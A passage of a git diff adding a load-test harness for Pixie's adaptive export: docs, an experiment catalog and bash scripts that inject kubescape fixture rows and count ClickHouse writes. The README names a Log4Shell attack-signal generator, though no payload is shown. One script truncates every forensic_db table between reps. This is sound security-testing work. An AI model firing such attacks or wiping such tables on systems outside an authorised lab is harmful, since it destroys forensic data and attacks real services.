nanos + a compensating +TTL ALTER; E1 was re-confirmed **20/20 std=0 natively with seconds** + the seconds-correct DDL (no ALTER). diff --git a/src/e2e_test/adaptive_export_loadtest/README.md b/src/e2e_test/adaptive_export_loadtest/README.md new file mode 100644 index 00000000000..f0e94a54fdf --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/README.md @@ -0,0 +1,72 @@ +# adaptive_export_loadtest + +Load-test + e2e harness for **adaptive_export (AE)** and the dx-steered SOC chain. +There are exactly **two ways to test**, by design β€” pick by what you're proving: + +| family | needs a live SOC stack? | proves | entry point | +|---|---|---|---| +| **A. Fixture-isolation** | No (just ClickHouse) | AE's write behaviour is *deterministic* β€” injected `kubescape_logs` β†’ exact `forensic_db` rows, across many reps | `harness/run.sh` | +| **B. Live-attack e2e** | Yes (Pixie + kubescape + CH + AE + dx) | the real chain: attack β†’ detection β†’ DX-steered data-volume reduction β†’ no-loss β†’ NFR | `harness/log4shell_fire.sh` β†’ `exp_matrix.sh` β†’ `nfr.sh` β†’ `exp_row_reconcile.sh` | + +`event_time` is unix **SECONDS** end-to-end (the unit the soc Vector kubescape sink emits and the CH DDL TTL/PARTITION assume). Fixtures use seconds. + +--- + +## A. Fixture-isolation (offline AE proof β€” no Pixie) + +Injects *controlled* `kubescape_logs` trigger rows (real kubescape is **not** deployed) and a *counted* traffic band, then asserts exactly how much AE writes β€” so write behaviour is measured deterministically instead of lost in infra noise. + +```sh +export KUBECONFIG= # or run lab-side with CH_NO_PF=1 +bash harness/run.sh # full suite: ae_config β†’ E1..E4,E6 β†’ E5 +EXP=E1 REPS=20 OUT=/tmp/E1.csv bash harness/exp_control.sh # one experiment +EXP=E8 TICKS=25 INTERVAL=3 bash harness/exp_e8.sh # sustained same-pod (F8 reproducer) +``` +Exact reproducibility ⇔ `harness/stats.py` reports every `*_act` metric with one distinct value (std=0). + +**Scripts:** `run.sh` (orchestrator) Β· `lib.sh` (CH/kubectl helpers) Β· `inject.sh` (HTTP INSERT of kubescape_logs) Β· `ae_config.sh` (AE single-shot load-test mode) Β· `exp_control.sh` (E1–E4,E6) Β· `exp_e5.sh` (data-plane volume) Β· `exp_e8.sh` (sustained same-pod / F8) Β· `stats.py` (reproducibility verdict). + +## B. Live-attack e2e (the real chain, on a deployed stack) + +Run on a SOC stack (Pixie vizier Healthy + kubescape netStreaming + CH `forensic_db` + AE + dx). Order: + +```sh +export KUBECONFIG= +# 1. generate the attack signal (idempotent; verifies LDAP egress before returning) +bash harness/log4shell_fire.sh +# 2. data-volume reduction MATRIX β€” ALL (firehose) vs DX (steered) Γ— {log4shell,argocd,react2argo} +CONDITIONS="log4shell:on react2argo:on" REPS=5 bash harness/exp_matrix.sh +# 3. NFR β€” throughput, AE+dx memory under load, verdict/query latency +bash harness/nfr.sh +# 4. no-loss β€” deterministic PEM↔ClickHouse row-level reconciliation for the DX arm +bash harness/exp_row_reconcile.sh +``` + +**Scripts:** `log4shell_fire.sh` (attack-signal generator, bob#140-hardened) Β· `exp_matrix.sh` (reduction matrix, the canonical ALL-vs-DX runner) Β· `nfr.sh` (throughput/mem/latency) Β· `exp_row_reconcile.sh` (no-loss). + +> The DX arm needs the load-gen pods bound to a **benign User SBoB** (`kubescape.io/managed-by: User`, `rulePolicies.R0002.processAllowed`) or benign noise gets steered and contaminates the reduction β€” see `biz/PoC/log4j/datavolume/denoise_sbobs/`. + +--- + +## Layout +``` +fixtures/EXPERIMENTS.md curated kubescape_logs data-set catalog + expected outputs +harness/ the two families above +k8s/ isolated sinks + per-rep generator pod (no probes) +tools/loadgen/ cleanloadgen + httpsink Go sources + Dockerfile +``` +Go unit/e2e tests for AE live with the service: `src/vizier/services/adaptive_export/internal/{trigger,e2e}/*_test.go`. + +See `CONTRACTS.md` (AE implied contracts) and `FINDINGS_AND_BACKLOG.md` (reproduced findings incl. the F8 watermark-poison bug). + +## Validation status (honest) + +| Experiment | Plane | Status | +|---|---|---| +| E1 single / E2 dedup / E3 fan-out / E4 boundary / E6 restart-idempotency | control | βœ… exactly reproducible (std=0) on a live rig | +| E8 sustained same-pod | control | βœ… reproduced the F8 "writes-stop" bug + recovery | +| E5 volume / E8 data-mode | data | ⏳ authored; pending live validation | +| Live log4j reduction / NFR / no-loss (family B) | data | βœ… validated (aeprod19 + pemdq10 + dx): #33 prefetch verdict 212β†’18ms; reduction ALLβ†’DX ≫ measured | + +## Removed (consolidation 2026-06) +Redundant variants folded into the canonical scripts above β€” deleted: `ae_vs_all.sh`, `vrun.sh`, `exp_log4j_reps.sh`, `exp_datavolume_extreme.sh`, `exp_dx_steering_reduction.sh` (β†’ `exp_matrix.sh`); `exp_ae_nfr_benchmark.sh` (β†’ `nfr.sh`); `exp_pipeline_reconcile.sh` (β†’ `exp_row_reconcile.sh`); `exp_dx_validate.sh` (β†’ `exp_matrix.sh`); `deploy_ae.sh`, `build_gen_image.sh` (superseded by the live stack / kit). diff --git a/src/e2e_test/adaptive_export_loadtest/fixtures/EXPERIMENTS.md b/src/e2e_test/adaptive_export_loadtest/fixtures/EXPERIMENTS.md new file mode 100644 index 00000000000..35629485c37 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/fixtures/EXPERIMENTS.md @@ -0,0 +1,45 @@ +# AE load-test experiment catalog + +Each experiment is a curated `kubescape_logs` data set (injected via `inject.sh`, +real kubescape NOT deployed) plus the deterministic AE output it must produce. +Run each Γ—100; **exact reproducibility ⇔ every metric has std = 0 / one distinct +value across the 100 reps.** + +Two planes (see `project_ae_repro_planes`): +- **Control plane** β€” `adaptive_attribution`, `trigger_watermark`: a pure + function of the injected rows. No Pixie, no traffic gen needed. +- **Data plane** β€” `http_events`/`dns_events`/`pgsql_events`/`conn_stats`: real + Pixie capture of `cleanloadgen`'s sealed band; gen manifest counts are the + oracle. Requires the L3 topology + single-pull AE config. + +Per-rep isolation: unique `--hostname aw--` (control, watermark is +host-partitioned) and unique `--pod gen--` (data, AE's `df.pod` filter +isolates each rep even with overlapping windows). Timestamps are explicit unix +nanos β€” fixtures NEVER use wall-clock `now()`. + +| # | Plane | Injected data set | Expected (per rep, exact unless noted) | +|---|---|---|---| +| **E1** single anomaly | control | 1 row: rule R0001, target (ns,pod), pid/comm fixed, `event_time=T` | `uniqExact(anomaly_hash)=1`; `adaptive_attribution` FINAL `=1`; watermark `=T` | +| **E2** dedup / extend | control | 10 rows, SAME (pid,comm,pod,ns), distinct ↑ `event_time` (`--count 10`) | hashes `=1`; attribution FINAL `=1` (t_end extended, not multiplied); watermark `=T+9Β·dt` | +| **E3** fan-out | control | K=8 rows, distinct (pod,ns), 1 each | hashes `=8`; attribution FINAL `=8` | +| **E4** boundary collision | control | 2 rows, identical `event_time`, different RuleID, same target (`--same-time`) | deterministic fingerprint-dedup: both surface (distinct fp), hashes `=1`; watermark `=T` | +| **E5** data-plane volume | data | 1 anomaly, `pod=gen-…`, `event_time=B1` from gen manifest; gen fires HTTP_N=100/DNS_N=100/PGSQL_N=100 in band `[B0,B1]` | `Ξ”http_events=100`, `Ξ”dns_events=100`, `Ξ”pgsql_events=100`; `Ξ”attribution=1`; `conn_stats` within tolerance; single-pull (no MergeTree dup inflation) | +| **E6** watermark idempotency | control | inject E1 set, let AE process, restart AE (watermark persisted), re-run | 2nd pass: `Ξ”` everything `=0` (no double-count) | +| **E7** passthrough A/B | data | canned band; `ADAPTIVE_PASSTHROUGH` 1 then 0, same load+window | exact firehose/filter ratio per table; reproducible across reps | + +## Timestamp coordination (data-plane, E5/E7) + +1. gen fires β†’ sealed band `[B0,B1]` (node clock == Pixie `time_` == kubescape + `event_time`; no skew). +2. inject fixture `--event-time B1 --pod gen--`. +3. AE config: `ADAPTIVE_WINDOW_BEFORE_SEC β‰₯ (B1βˆ’B0)/1e9 + margin` so window start + `≀ B0`; `ADAPTIVE_WINDOW_AFTER_SEC` small β†’ window expires after ONE pull + (protocol tables are plain MergeTree β€” repeated pulls would re-insert dups). +4. measure forensic_db deltas BEFORE the band ages out of Pixie retention. +5. delete `gen--` (held alive until here so upid resolves). + +## Default knobs + +- `HTTP_N=DNS_N=PGSQL_N=100` (low enough for 100% Pixie sampling, no drops). +- `conn_stats` tolerance: `Ξ”conn ∈ [HTTP_N, HTTP_N+5]` (new-conn-per-req + 1 pg). +- `async_insert=0` on the ingest user so counts are stable at read time. diff --git a/src/e2e_test/adaptive_export_loadtest/harness/ae_config.sh b/src/e2e_test/adaptive_export_loadtest/harness/ae_config.sh new file mode 100755 index 00000000000..1f7782e927f --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/ae_config.sh @@ -0,0 +1,57 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# ae_config.sh β€” put the live adaptive-export into deterministic load-test mode. +# +# Sets (and rolls out) the env that makes the data-plane write exactly once per +# anomaly window over the full sealed band: +# ADAPTIVE_PUSH_PIXIE_ROWS=true operator pulls + writes protocol tables +# ADAPTIVE_PUSH_REFRESH_SEC=-1 SINGLE-SHOT: one pull per window (only on +# a rebuilt AE image carrying the new knob; +# harmless/ignored on older images) +# ADAPTIVE_WINDOW_BEFORE_SEC=120 window start ≀ band start (band is seconds) +# ADAPTIVE_WINDOW_AFTER_SEC=5 member lifetime β€” the PRIMARY single-pull +# lever that works on the CURRENTLY-PUBLISHED +# image: 5s < the 30s default refresh, so the +# window expires before any 2nd pull β†’ each +# window written exactly once. +# Also disables async_insert on the ingest user so row counts are stable at read +# time (per the AE per-PG fixes), and applies the PL_CLOUD_ADDR :443 fix. +set -uo pipefail +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"; source "$HERE/lib.sh" + +DS="${AE_DS:-adaptive-export}" +log "configuring $AE_NS/$DS for single-shot load-test mode" + +k -n "$AE_NS" set env "ds/$DS" \ + ADAPTIVE_PUSH_PIXIE_ROWS=true \ + ADAPTIVE_PUSH_REFRESH_SEC=-1 \ + ADAPTIVE_WINDOW_BEFORE_SEC=120 \ + ADAPTIVE_WINDOW_AFTER_SEC=5 \ + >/dev/null + +# PL_CLOUD_ADDR :443 fix (idempotent) β€” without it AE crashloops / 0 writes. +CUR="$(k -n "$AE_NS" get cm pl-cloud-config -o jsonpath='{.data.PL_CLOUD_ADDR}' 2>/dev/null || true)" +if [[ -n "$CUR" && "$CUR" != *:* ]]; then + log "patching PL_CLOUD_ADDR $CUR -> ${CUR}:443" + k -n "$AE_NS" patch cm pl-cloud-config --type merge -p "{\"data\":{\"PL_CLOUD_ADDR\":\"${CUR}:443\"}}" >/dev/null +fi + +k -n "$AE_NS" rollout restart "ds/$DS" >/dev/null +k -n "$AE_NS" rollout status "ds/$DS" --timeout=180s +log "AE configured + rolled out" diff --git a/src/e2e_test/adaptive_export_loadtest/harness/exp_control.sh b/src/e2e_test/adaptive_export_loadtest/harness/exp_control.sh new file mode 100755 index 00000000000..783aad584d0 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/exp_control.sh @@ -0,0 +1,115 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# exp_control.sh β€” control-plane reproducibility (E1..E4, E6). No Pixie, no gen: +# inject curated kubescape_logs fixtures and assert the deterministic control +# surface (adaptive_attribution FINAL + uniqExact(anomaly_hash) + watermark). +# +# Live-AE constraint: hostname MUST be a real node (AE polls per-node). Per-rep +# isolation is by UNIQUE POD (distinct anomaly_hash) + monotone event_time. +# +# Usage: EXP=E1 REPS=100 OUT=/tmp/e1.csv ./exp_control.sh (EXP in E1 E2 E3 E4 E6) +set -uo pipefail +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"; source "$HERE/lib.sh" +INJECT="$HERE/inject.sh" + +EXP="${EXP:-E1}" +REPS="${REPS:-100}" +NODE="${NODE:-$(first_node)}" +OUT="${OUT:-/tmp/aeload_${EXP}.csv}" + +ch_portforward_up +[[ -n "$NODE" ]] || die "no node resolved (set NODE=)" +log "EXP=$EXP node=$NODE reps=$REPS" +warmup "$NODE" # absorb AE trigger cold-start so rep 1 is steady-state + +inj(){ "$INJECT" --endpoint "$CH_HTTP" --user "$CH_RW_USER" --pass "$CH_RW_PASS" --hostname "$NODE" "$@" >&2; } +# settle: give AE's 250ms trigger poll + write time to land. +settle(){ sleep "${SETTLE_S:-3}"; } + +echo "rep,exp,uniq_exp,uniq_act,attrib_exp,attrib_act,wm_exp,wm_act,pass" | tee "$OUT" +WM_PREV=0 # for monotonicity check (trigger_watermark persists on a ~5s throttle) + +for rep in $(seq 1 "$REPS"); do + # event_time = REAL current second. The trigger watermark is a strict + # high-water-mark (contract C3 / F8): future-dated stamps (BASE+rep*N) push + # the watermark ahead of wall-clock, so later experiments' now-based stamps + # fall BELOW it and are silently dropped. now_s keeps the watermark tracking + # real time β†’ monotone across experiments on the same (per-node) hostname. + T="$(now_s)" + R="$(printf '%03d' "$rep")" # zero-pad β†’ collision-proof LIKE filters + filt=""; uexp=1; aexp=1; wmexp="$T"; idemp="" + case "$EXP" in + E1) # single anomaly + filt="cp-e1-${R}" + inj --ns aeload --pod "$filt" --rule R0001 --pid 1234 --comm java --event-time "$T" || { echo "$rep,$EXP,,,,,,,INJECT_FAIL"|tee -a "$OUT"; continue; } + ;; + E2) # dedup / extend: 10 rows, same target, 1s apart β†’ 1 hash, 1 row + filt="cp-e2-${R}"; wmexp="$((T + 9))" + inj --ns aeload --pod "$filt" --rule R0001 --pid 1234 --comm java --event-time "$T" --count 10 --dt-s 1 || { echo "$rep,$EXP,,,,,,,INJECT_FAIL"|tee -a "$OUT"; continue; } + sleep 8 # let all 10 rows (spanning 9s) be polled before measuring + ;; + E3) # fan-out: 8 distinct pods β†’ 8 hashes. Same event_time (now_s) for all 8 β€” + # distinct pods β†’ distinct content fingerprints β†’ all 8 surface (boundary + # dedup is per-fingerprint), and the watermark only advances to now_s. + filt="cp-e3-${R}-"; K=8; uexp="$K"; aexp="$K"; wmexp="" + ok=1 + for j in $(seq 1 "$K"); do + inj --ns aeload --pod "${filt}${j}" --rule R0001 --pid "$((1234+j))" --comm java --event-time "$T" || ok=0 + done + [[ "$ok" == 1 ]] || { echo "$rep,$EXP,,,,,,,INJECT_FAIL"|tee -a "$OUT"; continue; } + ;; + E4) # boundary collision: 2 rows, same event_time, different RuleID, same target β†’ 1 hash + filt="cp-e4-${R}" + inj --ns aeload --pod "$filt" --rule R0001 --pid 1234 --comm java --event-time "$T" --same-time || true + inj --ns aeload --pod "$filt" --rule R0010 --pid 1234 --comm java --event-time "$T" --same-time || { echo "$rep,$EXP,,,,,,,INJECT_FAIL"|tee -a "$OUT"; continue; } + ;; + E6) # watermark idempotency across AE restart + filt="cp-e6-${R}" + inj --ns aeload --pod "$filt" --rule R0001 --pid 1234 --comm java --event-time "$T" || { echo "$rep,$EXP,,,,,,,INJECT_FAIL"|tee -a "$OUT"; continue; } + wait_attrib "$NODE" "$filt" 1 20 >/dev/null + a1="$(attrib_count "$NODE" "$filt")" + k -n "$AE_NS" rollout restart "ds/${AE_DS:-adaptive-export}" >/dev/null 2>&1 || true + k -n "$AE_NS" rollout status "ds/${AE_DS:-adaptive-export}" --timeout=180s >/dev/null 2>&1 || true + sleep 8 + # idempotency: attribution still exactly 1 after restart (no double-count) + [[ "$a1" == "1" ]] || idemp="FAIL_idemp_a1=${a1}" + ;; + *) die "unknown EXP=$EXP";; + esac + + # Poll until AE has written the expected attribution rows (steady-state), + # then read the deterministic counts. wm is persistence-throttled (~5s) so it + # is reported + checked for MONOTONICITY only, never a hard gate. + aact="$(wait_attrib "$NODE" "$filt" "$aexp" "${MEAS_TIMEOUT:-25}")" + uact="$(uniq_hashes "$NODE" "$filt")" + wm="$(watermark_of "$NODE")" + + pass="PASS" + [[ "$uact" == "$uexp" ]] || pass="FAIL_uniq" + [[ "$aact" == "$aexp" ]] || pass="${pass}|FAIL_attrib" + [[ -z "$idemp" ]] || pass="${pass}|${idemp}" + # watermark: must never go backwards (persisted value lags but is monotone). + if [[ "${wm:-0}" -lt "${WM_PREV:-0}" ]]; then pass="${pass}|FAIL_wm_regress"; fi + WM_PREV="$wm" + + echo "$rep,$EXP,$uexp,$uact,$aexp,$aact,$wmexp,$wm,$pass" | tee -a "$OUT" +done + +log "$EXP done -> $OUT" +python3 "$HERE/stats.py" "$OUT" || true diff --git a/src/e2e_test/adaptive_export_loadtest/harness/exp_e5.sh b/src/e2e_test/adaptive_export_loadtest/harness/exp_e5.sh new file mode 100755 index 00000000000..d9237672aa5 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/exp_e5.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# exp_e5.sh β€” E5 live data-plane reproducibility: real Pixie captures a counted, +# sealed, pod-pinned band; AE pulls it ONCE; we assert the forensic_db deltas +# equal the generator's ground truth, across REPS reps. +# +# Output CSV (stdout + $OUT): rep,http_exp,http_act,dns_exp,dns_act,pgsql_exp, +# pgsql_act,conn_est,conn_act,attrib,uniq_hash,wm_exp,wm_act,pass +# +# Usage: REPS=100 HTTP_N=100 DNS_N=100 PGSQL_N=100 OUT=/tmp/e5.csv ./exp_e5.sh +set -uo pipefail +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"; source "$HERE/lib.sh" +INJECT="$HERE/inject.sh" + +REPS="${REPS:-100}" +HTTP_N="${HTTP_N:-100}"; DNS_N="${DNS_N:-100}"; PGSQL_N="${PGSQL_N:-100}" +CONN_TOL="${CONN_TOL:-5}" # conn_stats tolerance band above HTTP_N+1 +SETTLE_S="${SETTLE_S:-4}" # Stirling flush settle before injecting +PULL_TIMEOUT="${PULL_TIMEOUT:-40}" # max wait for AE single-pull to land +OUT="${OUT:-/tmp/aeload_e5.csv}" + +ch_portforward_up +apply_sinks +# Absorb the AE trigger cold-start on every node (gen pods may land on any node). +for n in $(nodes_list); do warmup "$n"; done + +echo "rep,http_exp,http_act,dns_exp,dns_act,pgsql_exp,pgsql_act,conn_est,conn_act,attrib,uniq_hash,wm_exp,wm_act,pass" | tee "$OUT" + +for rep in $(seq 1 "$REPS"); do + name="gen-e5-$(printf '%03d' "$rep")" # zero-pad β†’ collision-proof LIKE filter + + mani="$(fire_gen "$name" "$HTTP_N" "$DNS_N" "$PGSQL_N")" || { echo "$rep,,,,,,,,,,,,,FIRE_FAIL" | tee -a "$OUT"; continue; } + b1="$(jget "$mani" b1)" # band end, unix NANOS (gen clock) + b1_s=$(( b1 / 1000000000 )) # β†’ unix SECONDS = production event_time unit + http_exp="$(jget "$mani" http)"; dns_exp="$(jget "$mani" dns)"; pgsql_exp="$(jget "$mani" pgsql)" + conn_est="$(jget "$mani" conn_tcp_est)" + # Fixture hostname MUST be the node the gen pod landed on, so the AE pod on + # that node reads the trigger (AE polls kubescape_logs WHERE hostname=node). + node="$(jget "$mani" node)" + [[ -n "$node" ]] || { del_gen "$name"; echo "$rep,,,,,,,,,,,,,NO_NODE" | tee -a "$OUT"; continue; } + + sleep "$SETTLE_S" # let the band flush into Pixie before the window query + + # Inject the single trigger fixture pinned to THIS rep's pod, event_time=B1. + "$INJECT" --endpoint "$CH_HTTP" --user "$CH_RW_USER" --pass "$CH_RW_PASS" \ + --ns "$AELOAD_NS" --pod "$name" --rule R0001 --pid 1234 --comm java \ + --event-time "$b1_s" --hostname "$node" >&2 \ + || { del_gen "$name"; echo "$rep,,,,,,,,,,,,,INJECT_FAIL" | tee -a "$OUT"; continue; } + + # Wait for AE's single pull to land (http_events for this pod reaches exp, or + # timeout). The pod stays alive (held) so upid resolves during the pull. + http_act=0 + for _ in $(seq 1 "$PULL_TIMEOUT"); do + http_act="$(count_pod http_events "$name")" + [[ "$http_act" -ge "$http_exp" ]] && break + sleep 1 + done + dns_act="$(count_pod dns_events "$name")" + pgsql_act="$(count_pod pgsql_events "$name")" + conn_act="$(count_pod conn_stats "$name")" + attrib="$(attrib_count "$node" "$name")" + uhash="$(uniq_hashes "$node" "$name")" + wm_act="$(watermark_of "$node")" + + pass="PASS" + [[ "$http_act" == "$http_exp" ]] || pass="FAIL_http" + [[ "$dns_act" == "$dns_exp" ]] || pass="${pass}|FAIL_dns" + [[ "$pgsql_act" == "$pgsql_exp" ]] || pass="${pass}|FAIL_pgsql" + [[ "$attrib" == "1" ]] || pass="${pass}|FAIL_attrib" + # watermark persists on a ~5s throttle β†’ report only (WARN), don't hard-gate. + [[ "$wm_act" == "$b1_s" ]] || pass="${pass}|WARN_wm" + # conn_stats: tolerance gate (sampled cumulative counters), not exact. + if [[ "$conn_act" -lt "$conn_est" || "$conn_act" -gt $((conn_est + CONN_TOL)) ]]; then + pass="${pass}|WARN_conn" + fi + + echo "$rep,$http_exp,$http_act,$dns_exp,$dns_act,$pgsql_exp,$pgsql_act,$conn_est,$conn_act,$attrib,$uhash,$b1_s,$wm_act,$pass" | tee -a "$OUT" + del_gen "$name" +done + +log "E5 done -> $OUT" +python3 "$HERE/stats.py" "$OUT" || true diff --git a/src/e2e_test/adaptive_export_loadtest/harness/exp_e8.sh b/src/e2e_test/adaptive_export_loadtest/harness/exp_e8.sh new file mode 100755 index 00000000000..e194733f932 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/exp_e8.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# exp_e8.sh β€” SUSTAINED same-pod-over-time: the bug-hunt for "writes succeed +# initially, then STOP, while the data is still on the Pixie side." +# +# One long-lived pod keeps producing NEW kubescape anomalies over time. A healthy +# AE keeps processing every new anomaly: adaptive_attribution.n_anomalies grows, +# last_seen advances, the active window stays open, and (data mode) protocol rows +# keep being written. A STALL β€” n_anomalies / last_seen freezing while we keep +# injecting β€” reproduces the production symptom. +# +# MODE=control (default): inject anomalies + track n_anomalies/last_seen/watermark +# over TICKS. No Pixie needed. Catches a trigger/watermark/dedup-side stall. +# MODE=data: ALSO run a held gen pod producing continuous HTTP/DNS/PGSQL traffic, +# and track per-pod protocol-table row growth (needs a registered vizier). +# +# event_time is unix SECONDS (production unit). BURST>1 injects BURST anomalies at +# the SAME event_time per tick β€” the realistic "many R0001 in one second" shape +# that probes the watermark-boundary fingerprint dedup (prime suspect). +# +# Usage: MODE=control TICKS=40 INTERVAL=3 BURST=1 OUT=/tmp/e8.csv ./exp_e8.sh +set -uo pipefail +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"; source "$HERE/lib.sh" +INJECT="$HERE/inject.sh" + +MODE="${MODE:-control}" +TICKS="${TICKS:-40}" +INTERVAL="${INTERVAL:-3}" # seconds between ticks +BURST="${BURST:-1}" # anomalies per tick (same event_time if >1) +NODE="${NODE:-$(first_node)}" +OUT="${OUT:-/tmp/aeload_e8_${MODE}.csv}" +POD="${POD:-sus-$(now_s)}" # the one sustained pod under test + +ch_portforward_up +[[ -n "$NODE" ]] || die "no node resolved" +log "E8 sustained: mode=$MODE node=$NODE pod=$POD ticks=$TICKS interval=${INTERVAL}s burst=$BURST" +warmup "$NODE" + +GEN="" +if [[ "$MODE" == "data" ]]; then + apply_sinks + GEN="$POD" # the gen pod name == the fixture pod (df.pod filter isolates it) + # Long-lived gen that keeps firing: we re-fire by leaving it running and + # re-injecting triggers; the gen's band is its startup burst, but the active + # window re-queries the SAME pod each tick. (Continuous-traffic gen variant is + # a follow-up; this already exercises sustained re-query of one pod.) + fire_gen "$GEN" "${HTTP_N:-100}" "${DNS_N:-100}" "${PGSQL_N:-100}" >/dev/null || die "gen fire failed" + node="$(k -n "$AELOAD_NS" get pod "$GEN" -o jsonpath='{.spec.nodeName}' 2>/dev/null)"; [[ -n "$node" ]] && NODE="$node" + log "data mode: gen $GEN on node $NODE" +fi + +echo "tick,t_unix,event_time,n_anomalies,last_seen,watermark,http_rows,delta_n,status" | tee "$OUT" +prev_n=0 +for tick in $(seq 1 "$TICKS"); do + T="$(now_s)" + # Inject BURST anomalies for the SAME pod at this tick's event_time. + if [[ "$BURST" -gt 1 ]]; then + "$INJECT" --endpoint "$CH_HTTP" --user "$CH_RW_USER" --pass "$CH_RW_PASS" \ + --hostname "$NODE" --ns "$AELOAD_NS" --pod "$POD" --rule R0001 --pid 1234 --comm java \ + --event-time "$T" --count "$BURST" --same-time >&2 || true + else + "$INJECT" --endpoint "$CH_HTTP" --user "$CH_RW_USER" --pass "$CH_RW_PASS" \ + --hostname "$NODE" --ns "$AELOAD_NS" --pod "$POD" --rule R0001 --pid 1234 --comm java \ + --event-time "$T" >&2 || true + fi + sleep "$INTERVAL" + + n="$(attr_field "$NODE" "$POD" n_anomalies)" + ls="$(attr_field "$NODE" "$POD" 'toUnixTimestamp(last_seen)')" + wm="$(watermark_of "$NODE")" + http="0"; [[ "$MODE" == "data" ]] && http="$(count_pod http_events "$POD")" + delta=$(( ${n:-0} - prev_n )) + status="OK" + [[ "$tick" -gt 1 && "$delta" -le 0 ]] && status="STALL" # n_anomalies stopped growing + prev_n="${n:-0}" + echo "$tick,$T,$T,$n,$ls,$wm,$http,$delta,$status" | tee -a "$OUT" +done + +[[ "$MODE" == "data" && -n "$GEN" ]] && del_gen "$GEN" +log "E8 done -> $OUT" +# Summary: did it ever stall, and at which tick? +awk -F, 'NR>1{tot++; if($9=="STALL")stall++} END{printf "[aeload] E8 %s: %d ticks, %d STALL ticks (%s)\n", "'"$MODE"'", tot, stall+0, (stall+0==0?"sustained-OK":"STALLED β€” reproduces writes-stop")}' "$OUT" diff --git a/src/e2e_test/adaptive_export_loadtest/harness/exp_matrix.sh b/src/e2e_test/adaptive_export_loadtest/harness/exp_matrix.sh new file mode 100755 index 00000000000..de8a068713a --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/exp_matrix.sh @@ -0,0 +1,126 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# exp_matrix.sh β€” data-volume reduction MATRIX, runs node-side on the rig. +# CONDITIONS = space-list of ATTACK:NOISE (ATTACK=log4shell|argocd|react2argo, NOISE=off|on) +# For each condition: ALL arm (passthrough firehose) then DX arm (streaming), REPS each, +# 2-min window, single fire at t=60s, truncate all CH + settle between reps, measure every +# forensic_db table. Pre-flight AE guard + per-rep attack-fired (R0001) acceptance gate. +# Skips conditions whose workload isn't deployed (logs SKIP) so it does what it can now. +set -uo pipefail +CONDS=${CONDITIONS:-"log4shell:off log4shell:on argocd:off argocd:on react2argo:off react2argo:on"} +REPS=${REPS:-5}; RUNSEC=${RUNSEC:-120}; FIREAT=${FIREAT:-60}; GAP=${GAP:-180} +NS=log4j-poc; CHPOD=chi-forensic-soc-db-soc-cluster-0-0-0 +OUT=/tmp/matrix.txt; RES=/tmp/matrix.tsv +: > "$OUT"; : > "$RES" +chq(){ kubectl -n clickhouse exec "$CHPOD" -c clickhouse -- clickhouse-client -q "$1" 2>/dev/null; } +say(){ echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$OUT"; } +TABLES=$(chq "SELECT name FROM system.tables WHERE database='forensic_db' AND engine LIKE '%MergeTree%' FORMAT TSV") +truncate_all(){ local t; for t in $TABLES; do chq "TRUNCATE TABLE IF EXISTS forensic_db.\`$t\`" >/dev/null 2>&1; done; } +ensure_healthy(){ local p; p=$(kubectl -n pl get vizier -o jsonpath='{.items[*].status.vizierPhase}' 2>/dev/null) + if [ "$p" != Healthy ]; then kubectl -n pl delete pod -l name=vizier-query-broker >/dev/null 2>&1 + for _ in $(seq 1 20); do [ "$(kubectl -n pl get vizier -o jsonpath='{.items[*].status.vizierPhase}' 